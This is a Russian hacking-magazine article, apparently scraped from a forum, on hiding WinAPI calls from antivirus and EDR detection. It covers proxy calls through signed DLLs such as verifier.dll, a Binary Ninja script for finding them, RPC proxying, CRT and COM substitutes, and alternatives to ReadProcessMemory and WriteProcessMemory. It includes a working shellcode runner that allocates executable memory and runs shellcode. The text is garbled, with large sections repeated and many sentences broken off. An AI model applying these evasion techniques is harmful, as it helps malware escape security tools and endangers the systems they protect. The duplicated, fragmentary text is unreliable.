stihl has not provided any additional information.
Все крутые вредоносы стараются прятать использование вызовов WinAPI, ведь наличие подозрительных функций в коде может привести к блокировке исполнения нашей программы. Существует не так много документированных способов скрыть вызовы WinAPI, однако у меня есть пара любопытных разработок, и я готов ими поделиться. Мы попрактикуемся в сканировании памяти, исследовании компонентов Windows и даже немного затронем RPC.
Вердикт о признании программы вредоносной антивирус выносит после анализа и сопоставления множества фактов, но основополагающим всегда будет анализ используемых функций в коде. Анализировать можно разные вещи: хуки, таблицы импортов, поток исполнения, в сложных случаях может производиться быстрая декомпиляция. Хакеры, в свою очередь, научились Link hidden, please Sign inor Sing up, Link hidden, please Sign in or Sing up, применять Link hidden, please Sign in or Sing up и предотвращать Link hidden, please Sign in or Sing up.
Представь, а что, если бы мы смогли избежать использования подозрительных функций? Буквально: не трогаем всякие опасные штуки, а нас не трогает антивирус!
Например, вместо VirtualAllocEx() можно дергать что‑нибудь альтернативное, как делали в Link hidden, please Sign inor Sing up про шелл‑код‑раннер на чистом C#. И это возможно! Существует несколько техник, позволяющих идти обходным путем, не затрагивая «подозрительные» методы или всячески скрывая их использование.
Пример: у нас есть функция ZwProtectVirtualMemory(), она позволяет изменить разрешения памяти. Считается, так скажем, не самой безобидной, ведь с ее помощью можно пометить адресное пространство как исполняемое. При попытке ее использования может вылезти алерт, например у Link hidden, please Sign inor Sing up.
Link hidden, please Sign inor Sing up
Нас интересует этот: VirtualProtect API Call from an Unsigned DLL. Логика детекта проста: если функция вызывается из адресного пространства неподписанной библиотеки, то вызов считается вредоносным. Подобные рассуждения имеют право на жизнь, ведь зачем обычному разработчику дергать Zw-функцию из своей программы? Явно что‑то нечисто...
Обход такого детекта возможен через проксирование. Нам нужно найти легитимный, подписанный бинарь с экспортируемой функцией, которая передает поток управления в целевую функцию.
Был такой поток управления:
malware → ntdll!ZwProtectVirtualMemory
Станет вот такой:
malware → signed!SomeFuncToProtectMemory → ntdll!ZwProtectVirtualMemory
И детекта не будет! Ведь цепочка вызовов начинается из легитимной, подписанной библиотеки. Схожую логику в чуть более упрощенном формате предлагает инструмент Link hidden, please Sign inor Sing up. Однако он работает только с программами на C#.
С некоторой натяжкой можно сказать, что подобное проксирование когда‑то победило на премии Link hidden, please Sign inor Sing up. Конечно, там еще использовалась подмена оригинального метода, однако логика осталась схожей: имитация активности, происходящей из легитимного модуля.
or Sing up.
Например, вот так можно обнаружить все импорты функции MiniDumpWriteDump().
Link hidden, please Sign inor Sing up
А так — проанализировать экспорты:
python .\findSymbols.py "c:\windows\system32" -s "memory" -e
Link hidden, please Sign inor Sing up
Однако далеко не все функции объявляются экспортируемыми, поэтому можно также прибегнуть к анализу символов, как я это делал в Link hidden, please Sign inor Sing up, разбор — в моей Link hidden, please Sign in or Sing up. Но все равно как‑то много «если» и лишнего ресерча. Хочется автоматизировать и сразу дергать нужную функцию, правда? А вот это уже бусидо!
or Sing up. Он использует Binary Ninja для автоматизации анализа подписанных библиотек DLL. Рассмотрим его код подробнее.
Давай разберем скрипт пошагово, тут есть несколько нетривиальных моментов.
Итак, все начинается с чтения текстового файла, в котором лежат пути с подписанными библиотеками. Например, C:\Windows\System32.
Дальше программа проверяет размер каждой библиотеки и не анализирует те, что занимают больше 15 Мбайт. Те, что меньше, передаются в Binary Ninja для бинарного анализа через метод load().
Бинарник будет представлен в виде объекта Link hidden, please Sign inor Sing up, он же bv в документации. Он предоставляет набор методов по работе с файлом, например получение списка функций.
Через BinaryView можно извлечь класс Link hidden, please Sign in or Sing up, который указывает на (неожиданно!) функцию в коде.
Функция будет представлена в виде BNIL — Binary Ninja Intermediate Language. Это особый вид ассемблерных инструкций для Binary Ninja. Есть несколько форм: LLIL, MLIL, HLIL, Pseudo-C, они различаются глубиной абстракции. Чем выше уровень, тем более человекочитаемый код получаем. Чем ниже, тем более приближенный к тому, что исполняет компьютер.
Отдельно поддерживается отображение в форме SSA (Static Single Assignment). Это такой механизм оптимизации кода компилятором, главный концепт которого — присвоение конкретной переменной значения только в одном месте в коде.
Наш алгоритм поиска функций будет таким:
Link hidden, please Sign in or Sing up «включает анализ», а Link hidden, please Sign in or Sing up его осуществляет.
Далее убеждаемся, что происходит именно вызов функции, а не просто ссылка на адрес.
Для этого мы получаем LLIL (низкоуровневое представление инструкций) по адресу, следующим шагом конвертируем в HLIL и убеждаемся по наличию операнда Call, что происходит вызов функции.
Наконец, получаем параметры функции, а также анализируем, можем ли мы воздействовать на эти переменные из параметров функции‑обертки.
С помощью этого скрипта получилось обнаружить место, в котором используется функция NtAllocateVirtualMemory() внутри verifier.dll.
Link hidden, please Sign inor Sing up
Дальнейшим исследованием была обнаружена функция DphCommitMemoryFromPageHeap() из verifier.dll, внутри которой и дергалась NtAllocateVirtualMemory().
Link hidden, please Sign inor Sing up
А вот и наша NtAllocateVirtualMemory()!
Link hidden, please Sign inor Sing up
Link hidden, please Sign inor Sing up
Затем переводим их в опкоды, по которым будем осуществлять сканирование.
Link hidden, please Sign inor Sing up
Определяем прототип функции для вызова.
Добавляем код по скану памяти и передаем на функцию поток управления!
Полный код представлен Link hidden, please Sign in or Sing up. И видим результат вызова.
Link hidden, please Sign inor Sing up
Сам автор в своем ресерче предлагает вызывать функцию AVrfpNtAllocateVirtualMemory(), он дергает ее по оффсету, но ты можешь, в качестве тренировки, сделать получение адреса по паттерну.
or Sing up. Однако я постараюсь описать вкратце.
При взаимодействии устройств через протокол RPC происходят операции маршалинга и демаршалинга передаваемых параметров. Это необходимо, так как аргументы функции передаются по сети и сложные структуры просто так в сокет не засунуть.
Обработка данных происходит в специальных NDR-функциях (NDR — Network Data Representation). Сами данные попадают внутрь этих функций в виде структуры Link hidden, please Sign inor Sing up. Внутри нее достаточно большая вложенность других структур, манипулируя которыми мы можем передать поток управления по произвольному адресу.
Link hidden, please Sign inor Sing up
У этого метода есть свои особенности: как минимум необходимо инициализировать среду RPC в текущем процессе. Существует демонстрация работы на Link hidden, please Sign inor Sing up, а также POC на Link hidden, please Sign in or Sing up.
Таким образом, с помощью подсистемы RPC мы можем дергать любую WinAPI-функцию с передачей аргументов, что будет считаться одной из форм проксирования.
В принципе, этот вариант достаточно тесно связан с прокси‑функциями, ведь какой‑то метод может дергать оригинальную функцию под капотом, быть оберткой над оберткой... В общем, реверсить каждую запаришься. Главное — найти иной WinAPI-вызов, альтернативу.
Вот так — сравнение строк через wcscmp():
А так — преобразование из нижнего регистра в верхний:
В CRT очень много функций, и практически все возможно переписать, вручную реализовав логику их работы. Больше вариантов ищи в репозиториях Link hidden, please Sign in or Sing up и Link hidden, please Sign in or Sing up.
Итак, пусть у нас есть функция Link hidden, please Sign inor Sing up, которая принимает структуру Link hidden, please Sign in or Sing up.
Структура CONTEXT определена в файле winnt.h.
Link hidden, please Sign inor Sing up
Нажимаем на PCONTEXT, кликаем правой кнопкой мыши и выбираем «Найти все ссылки».
Link hidden, please Sign inor Sing up
Получаем большой список ссылок на эту структуру из разных функций.
Link hidden, please Sign inor Sing up
Начинаем исследовать и обнаруживаем функцию RtlCaptureContext2() со схожими возможностями!
Link hidden, please Sign inor Sing up
or Sing up, который поможет тебе в изучении COM.
Например, у объекта {00000618-0000-0010-8000-00aa006d2ea4} существует интерфейс, внутри которого есть метод ChangePassword(), предварительно это метод может использоваться для смены пароля пользователя. Таким образом, дергая ChangePassword() из COM, ты можешь избежать вызова функций из netapi.dll.
Link hidden, please Sign inor Sing up
Если вызывать эту функцию в удаленном процессе через CreateRemoteThread() или NtCreateThreadEx(), то можно добиться примитива чтения данных. Автор удалил PoC и статью из своего блога, впрочем, все сохранено в Internet Archive, ссылка выше.
Если мы работаем из кода на С#, то стоит обратить внимание на System.StubHelpers.GetNDirectTarget().
or Sing up x86matthew предложил альтернативу записи в память. Она тоже основана на функциях инкремента и декремента значения по адресу. Множественными вызовами этих функций для адреса в процессе мы можем изменять значения в памяти, а значит, записывать.
or Sing up. На сайте много интересных разработок, которые можно использовать в собственном коде. Например, мы могли бы запускать процесс не вызывая напрямую CreateProcess(), а через имитацию нажатий Win-R. Согласись, это круто!
warning
Статья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону.
Как ты знаешь, любой, даже самый страшный «вирус» — это обычная программа, которая использует те же механизмы и функции, что и легитимный софт. Можно сказать, идет злоупотребление функциями, доступными любому разработчику. Иногда встречается абуз недокументированных возможностей. Одним словом — хакерство!
Вердикт о признании программы вредоносной антивирус выносит после анализа и сопоставления множества фактов, но основополагающим всегда будет анализ используемых функций в коде. Анализировать можно разные вещи: хуки, таблицы импортов, поток исполнения, в сложных случаях может производиться быстрая декомпиляция. Хакеры, в свою очередь, научились Link hidden, please Sign in
Представь, а что, если бы мы смогли избежать использования подозрительных функций? Буквально: не трогаем всякие опасные штуки, а нас не трогает антивирус!
Например, вместо VirtualAllocEx() можно дергать что‑нибудь альтернативное, как делали в Link hidden, please Sign in
Проксирование вызовов
Теория
У западных коллег эта техника называется Proxy Invoke. Она основана на том, что хакер обнаруживает такую функцию, которая дергает нужные вещи, «проксируя» вызов. Фактически идет злоупотребление чужими обвязками над существующими методами.Пример: у нас есть функция ZwProtectVirtualMemory(), она позволяет изменить разрешения памяти. Считается, так скажем, не самой безобидной, ведь с ее помощью можно пометить адресное пространство как исполняемое. При попытке ее использования может вылезти алерт, например у Link hidden, please Sign in
Link hidden, please Sign in
www
Интересное по теме:Нас интересует этот: VirtualProtect API Call from an Unsigned DLL. Логика детекта проста: если функция вызывается из адресного пространства неподписанной библиотеки, то вызов считается вредоносным. Подобные рассуждения имеют право на жизнь, ведь зачем обычному разработчику дергать Zw-функцию из своей программы? Явно что‑то нечисто...
Обход такого детекта возможен через проксирование. Нам нужно найти легитимный, подписанный бинарь с экспортируемой функцией, которая передает поток управления в целевую функцию.
Был такой поток управления:
malware → ntdll!ZwProtectVirtualMemory
Станет вот такой:
malware → signed!SomeFuncToProtectMemory → ntdll!ZwProtectVirtualMemory
И детекта не будет! Ведь цепочка вызовов начинается из легитимной, подписанной библиотеки. Схожую логику в чуть более упрощенном формате предлагает инструмент Link hidden, please Sign in
С некоторой натяжкой можно сказать, что подобное проксирование когда‑то победило на премии Link hidden, please Sign in
Обнаружение прокси-функций
Таблица экспортов/импортов
Есть путь простой, а есть путь самурая. Начнем с простого. Он заключается в том, чтобы быстро проанализировать все существующие в системе подписанные DLL и определить использование в них функций, до которых мы можем дотянуться. Варианта два.- Можем идти от таблицы импортов. Например, видим импорт ZwProtectVirtualMemory(), после чего находим место, в котором эта функция дергается, и смотрим, есть ли возможность контроля аргументов.
- Можем идти от таблицы экспортов. Например, видим экспорт функции AllocateAndProtectSomeMemory(), догадываемся о потенциально интересной функциональности и исследуем эту функцию.
Например, вот так можно обнаружить все импорты функции MiniDumpWriteDump().
Link hidden, please Sign in
А так — проанализировать экспорты:
python .\findSymbols.py "c:\windows\system32" -s "memory" -e
Link hidden, please Sign in
Однако далеко не все функции объявляются экспортируемыми, поэтому можно также прибегнуть к анализу символов, как я это делал в Link hidden, please Sign in
Бинарный анализ
Путь самурая — автоматизировать этап исследования бинарных файлов с помощью API какого‑нибудь декомпилера. Этот метод я стащил у чувака с ником Link hidden, please Sign in
Code:
import os
import binaryninja
from binaryninja import highlevelil
signed_dlls_path = r'C:\Users\user\source\repos\SignedDllAnalyzer\signed_dlls.txt'
with open(signed_dlls_path, "r") as f:
signed_dlls = [dll.strip() for dll in f]
total_dlls = len(signed_dlls)
with open(signed_dlls_path, "r") as f:
current_dll = 0
for signed_dll_path in f:
current_dll += 1
signed_dll_path = signed_dll_path.strip()
dll_name = signed_dll_path.split('\\')[-1]
dll_size_mb = os.path.getsize(signed_dll_path) / 1024 / 1024
progress = f"{current_dll}/{total_dlls}"
if dll_size_mb > 15:
print(f"[-] [{progress}] [{dll_name}] [{dll_size_mb:.2f} > 15 MB]")
continue
print(f"[*] [{progress}] [{dll_name}] [{dll_size_mb:.2f} MB]")
with binaryninja.load(signed_dll_path, update_analysis=False) as binary_view:
ntAllocateVirtualMemorySymbol = binary_view.get_symbol_by_raw_name("NtAllocateVirtualMemory")
if not ntAllocateVirtualMemorySymbol:
continue
else:
print(f"[+] [{progress}] [{dll_name}] [NtAllocateVirtualMemory]")
binary_view.set_analysis_hold(False)
binary_view.update_analysis_and_wait()
code_refs = binary_view.get_code_refs(ntAllocateVirtualMemorySymbol.address)
for ref in code_refs:
try:
func = binary_view.get_functions_containing(ref.address)[0]
hlil_instr = func.get_llil_at(ref.address).hlil
for operand in hlil_instr.operands:
if type(operand) == HighLevelILCall:
if operand.dest.value.value == ntAllocateVirtualMemorySymbol.address:
hlil_call = operand
break
args = hlil_call.params
protect = args[5]
regionSize = args[3]
if type(protect) == HighLevelILVar:
if protect.var not in func.parameter_vars:
continue
if type(regionSize) == HighLevelILVar:
if regionSize.var not in func.parameter_vars:
if type(protect) == HighLevelILConst:
if int(protect.value) != 0x40:
continue
if type(regionSize) == HighLevelILConst:
if int(regionSize.value) <= 0x10000:
continue
print(f"[+] [{progress}] [{dll_name}] [{hex(ref.address)}] [{hlil_instr}]")
except Exception as e:
print(f"[x] [{progress}] [{dll_name}] [{e}]")
Итак, все начинается с чтения текстового файла, в котором лежат пути с подписанными библиотеками. Например, C:\Windows\System32.
Code:
import os
import binaryninja
from binaryninja import highlevelil
signed_dlls_path = r'C:\Users\user\source\repos\SignedDllAnalyzer\signed_dlls.txt'
with open(signed_dlls_path, "r") as f:
signed_dlls = [dll.strip() for dll in f]
total_dlls = len(signed_dlls)
Затем в цикле анализируется каждая библиотека.
with open(signed_dlls_path, "r") as f:
current_dll = 0
for signed_dll_path in f:
current_dll += 1
signed_dll_path = signed_dll_path.strip()
dll_name = signed_dll_path.split('\\')[-1]
dll_size_mb = os.path.getsize(signed_dll_path) / 1024 / 1024
progress = f"{current_dll}/{total_dlls}"
if dll_size_mb > 15:
print(f"[-] [{progress}] [{dll_name}] [{dll_size_mb:.2f} > 15 MB]")
continue
print(f"[*] [{progress}] [{dll_name}] [{dll_size_mb:.2f} MB]")
with binaryninja.load(signed_dll_path, update_analysis=False) as binary_view:
Дальше программа проверяет размер каждой библиотеки и не анализирует те, что занимают больше 15 Мбайт. Те, что меньше, передаются в Binary Ninja для бинарного анализа через метод load().
Binary Ninja и BinaryView
Здесь важно знать, что у Binary Ninja есть не только GUI, но и API, через который можно загрузить бинарный файл и провести некоторый автоматический анализ.Бинарник будет представлен в виде объекта Link hidden, please Sign in
Code:
>>> bv
<BinaryView: '/bin/ls', start 0x100000000, len 0x182f8>
>>> len(bv.functions)
140
Функция будет представлена в виде BNIL — Binary Ninja Intermediate Language. Это особый вид ассемблерных инструкций для Binary Ninja. Есть несколько форм: LLIL, MLIL, HLIL, Pseudo-C, они различаются глубиной абстракции. Чем выше уровень, тем более человекочитаемый код получаем. Чем ниже, тем более приближенный к тому, что исполняет компьютер.
Отдельно поддерживается отображение в форме SSA (Static Single Assignment). Это такой механизм оптимизации кода компилятором, главный концепт которого — присвоение конкретной переменной значения только в одном месте в коде.
Наш алгоритм поиска функций будет таким:
- Получить BinaryView.
- Обнаружить, что используется нужная нам функция.
- Определить место, из которого вызывается нужная нам функция.
- Убедиться, что мы можем контролировать аргументы, передаваемые в функции.
Code:
ntAllocateVirtualMemorySymbol = binary_view.get_symbol_by_raw_name("NtAllocateVirtualMemory")
if not ntAllocateVirtualMemorySymbol:
continue
else:
print(f"[+] [{progress}] [{dll_name}] [NtAllocateVirtualMemory]")
Убедившись, что метод присутствует, запускаем анализ. Метод s
Code:
binary_view.set_analysis_hold(False)
binary_view.update_analysis_and_wait()
После того как BN провел анализ бинарного кода, можно приступать к пункту три. Обнаруживаем места, ссылающиеся на нужный нам метод, через get_code_refs().
code_refs = binary_view.get_code_refs(ntAllocateVirtualMemorySymbol.address)
Затем пробегаемся в цикле по всем ссылкам, находя функции, которые ссылаются на нужный нам метод.
for ref in code_refs:
try:
func = binary_view.get_functions_containing(ref.address)[0]
Далее убеждаемся, что происходит именно вызов функции, а не просто ссылка на адрес.
Code:
hlil_instr = func.get_llil_at(ref.address).hlil
for operand in hlil_instr.operands:
if type(operand) == HighLevelILCall:
if operand.dest.value.value == ntAllocateVirtualMemorySymbol.address:
hlil_call = operand
break
Наконец, получаем параметры функции, а также анализируем, можем ли мы воздействовать на эти переменные из параметров функции‑обертки.
Code:
args = hlil_call.params
protect = args[5]
regionSize = args[3]
if type(protect) == HighLevelILVar:
if protect.var not in func.parameter_vars: # Проверка на наличие в параметрах родительской функции
continue
if type(regionSize) == HighLevelILVar:
if regionSize.var not in func.parameter_vars:
if type(protect) == HighLevelILConst:
if int(protect.value) != 0x40:
continue
if type(regionSize) == HighLevelILConst:
if int(regionSize.value) <= 0x10000:
continue
print(f"[+] [{progress}] [{dll_name}] [{hex(ref.address)}] [{hlil_instr}]")
Link hidden, please Sign in
Дальнейшим исследованием была обнаружена функция DphCommitMemoryFromPageHeap() из verifier.dll, внутри которой и дергалась NtAllocateVirtualMemory().
Link hidden, please Sign in
А вот и наша NtAllocateVirtualMemory()!
Link hidden, please Sign in
Пример с DphCommitMemoryFromPageHeap
После того как мы смогли найти нужную функцию, следует добиться передачи потока управления по этому адресу. Есть два варианта:- определить смещение функции относительно базового адреса загрузки DLL в памяти;
- определить адрес целевой функции по байтовому паттерну.
Link hidden, please Sign in
Затем переводим их в опкоды, по которым будем осуществлять сканирование.
Link hidden, please Sign in
Определяем прототип функции для вызова.
Code:
typedef int (WINAPI* DphCommitMemoryFromPageHeapFunc)(
PVOID* BaseAddress,
PSIZE_T RegionSize,
ULONG Protect
);
Code:
int main()
{
HMODULE hModule = NULL;
hModule = LoadLibraryA("verifier.dll");
DphCommitMemoryFromPageHeapFunc DphCommitMemoryFromPageHeapWPtr = (DphCommitMemoryFromPageHeapFunc)(FindFunction(GetCurrentProcess(), GetFunctionBytes(), (uintptr_t)hModule));
SIZE_T size = 0xABCD;
LPVOID addr = nullptr;
NTSTATUS err = DphCommitMemoryFromPageHeapWPtr(&addr, &size, PAGE_EXECUTE);
std::wcout << err << std::endl;
return 0;
}
Link hidden, please Sign in
Сам автор в своем ресерче предлагает вызывать функцию AVrfpNtAllocateVirtualMemory(), он дергает ее по оффсету, но ты можешь, в качестве тренировки, сделать получение адреса по паттерну.
Code:
typedef NTSTATUS (*AVrfpNtAllocateVirtualMemory_t)
(
HANDLE ProcessHandle,
PVOID *BaseAddress,
ULONG_PTR ZeroBits,
ULONG_PTR *RegionSize,
ULONG AllocationType,
ULONG Protect
);
DWORD protect{};
LPVOID virtualMemory = nullptr;
SIZE_T size = rawShellcodeLength;
HMODULE hVerifierMod = this->api.LoadLibraryA.call("verifier.dll");
AVrfpNtAllocateVirtualMemory_t AVrfpNtAllocateVirtualMemory = (AVrfpNtAllocateVirtualMemory_t)((char*)hVerifierMod + 0x25110);
AVrfpNtAllocateVirtualMemory(NtCurrentProcess(), &virtualMemory, 0, &size, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
this->api.RtlMoveMemory.call(virtualMemory, rawShellcode, rawShellcodeLength);
(*(int(*)()) virtualMemory)();
Через RPC
Скажу честно, проксирование через вызовы — достаточно сложный метод, объяснение которого не уместится в одну статью. По этому способу был даже представлен Link hidden, please Sign inПри взаимодействии устройств через протокол RPC происходят операции маршалинга и демаршалинга передаваемых параметров. Это необходимо, так как аргументы функции передаются по сети и сложные структуры просто так в сокет не засунуть.
Обработка данных происходит в специальных NDR-функциях (NDR — Network Data Representation). Сами данные попадают внутрь этих функций в виде структуры Link hidden, please Sign in
Link hidden, please Sign in
У этого метода есть свои особенности: как минимум необходимо инициализировать среду RPC в текущем процессе. Существует демонстрация работы на Link hidden, please Sign in
Таким образом, с помощью подсистемы RPC мы можем дергать любую WinAPI-функцию с передачей аргументов, что будет считаться одной из форм проксирования.
Используем альтернативные функции
Теория
Пора выдохнуть и перейти к чуть более простому методу. В случае с альтернативными функциями мы будем пытаться найти обходной путь до нужных нам возможностей. Например, вместо использования функции memcpy() собственноручно писать логику метода и копировать данные с помощью указателей, ручками. Или как вариант — обнаружить и дергать чуть более низкоуровневый, потенциально нехукнутый аналог.В принципе, этот вариант достаточно тесно связан с прокси‑функциями, ведь какой‑то метод может дергать оригинальную функцию под капотом, быть оберткой над оберткой... В общем, реверсить каждую запаришься. Главное — найти иной WinAPI-вызов, альтернативу.
Замена CRT
Проще всего начать с замены CRT-функций. Например, так можно заменить функцию memcpy():
Code:
PVOID _memcpy(PVOID Destination, PVOID Source, SIZE_T Size)
{
for (volatile int i = 0; i < Size; i++) {
((BYTE*)Destination)[i] = ((BYTE*)Source)[i];
}
return Destination;
}
Code:
int custom_wcscmp(const wchar_t* str1, const wchar_t* str2) {
while (*str1 == *str2 && *str1 != L'\0') {
str1++;
str2++;
}
return *str1 - *str2;
}
Code:
PCHAR CaplockStringA(_In_ PCHAR Ptr)
{
PCHAR sv = Ptr;
while (*sv != '\0')
{
if (*sv >= 'a' && *sv <= 'z')
*sv = *sv - ('a' - 'A');
sv++;
}
return Ptr;
}
PWCHAR CaplockStringW(_In_ PWCHAR Ptr)
{
PWCHAR sv = Ptr;
while (*sv != '\0')
{
if (*sv >= 'a' && *sv <= 'z')
*sv = *sv - ('a' - 'A');
sv++;
}
return Ptr;
}
Через ссылки на структуры Windows
Обычно в Windows используются одни и те же структуры в функциях со схожей логикой работы. Таким образом, у нас появляется возможность искать похожие функции. Проще всего искать через IDE. Для этого нужно будет найти заголовочный файл, в котором есть интересующая нас структура.info
Искать прокси‑функции можно тем же методом, поэтому не будем останавливаться на них отдельно.Итак, пусть у нас есть функция Link hidden, please Sign in
Структура CONTEXT определена в файле winnt.h.
Link hidden, please Sign in
Нажимаем на PCONTEXT, кликаем правой кнопкой мыши и выбираем «Найти все ссылки».
Link hidden, please Sign in
Получаем большой список ссылок на эту структуру из разных функций.
Link hidden, please Sign in
Начинаем исследовать и обнаруживаем функцию RtlCaptureContext2() со схожими возможностями!
Link hidden, please Sign in
Изучаем COM
Подсистема COM предоставляет нам огромное количество всяких фич. Нужно лишь изучить ее и понять ее особенности: что такое класс COM, как они регистрируются в системе, как работают интерфейсы и методы и так далее. Проштудировав это, ты сможешь обнаружить множество интересных вещей!www
У меня есть небольшой репозиторий Link hidden, please Sign inНапример, у объекта {00000618-0000-0010-8000-00aa006d2ea4} существует интерфейс, внутри которого есть метод ChangePassword(), предварительно это метод может использоваться для смены пароля пользователя. Таким образом, дергая ChangePassword() из COM, ты можешь избежать вызова функций из netapi.dll.
Link hidden, please Sign in
Замена ReadProcessMemory()
Наконец, давай покажу еще пару интересных «обходных путей» для вызова функций. На текущий момент известно несколько способов замены методов ReadProcessMemory():- через злоупотребление уязвимыми драйверами, например Link hidden, please Sign in
or Sing up; - через Link hidden, please Sign in
or Sing up.
Code:
DWORD __stdcall RtlFirstEntrySList(DWORD *pValue)
{
return *pValue;
}
Если мы работаем из кода на С#, то стоит обратить внимание на System.StubHelpers.GetNDirectTarget().
Code:
public static IntPtr ReadMemory(IntPtr addr)
{
var stubHelper = typeof(System.String).Assembly.GetType("System.StubHelpers.StubHelpers");
var GetNDirectTarget = stubHelper.GetMethod("GetNDirectTarget", System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Static);
IntPtr unmanagedPtr = Marshal.AllocHGlobal(200);
for (int i = 0; i < 200; i += IntPtr.Size)
{
Marshal.Copy(new[] { addr }, 0, unmanagedPtr + i, 1);
}
return (IntPtr)GetNDirectTarget.Invoke(null, new object[] { unmanagedPtr });
}
Замена WriteProcessMemory()
В той же Link hidden, please Sign in
Code:
LONG __stdcall InterlockedIncrement(LONG *Addend);
LONG __stdcall InterlockedDecrement(LONG *Addend);
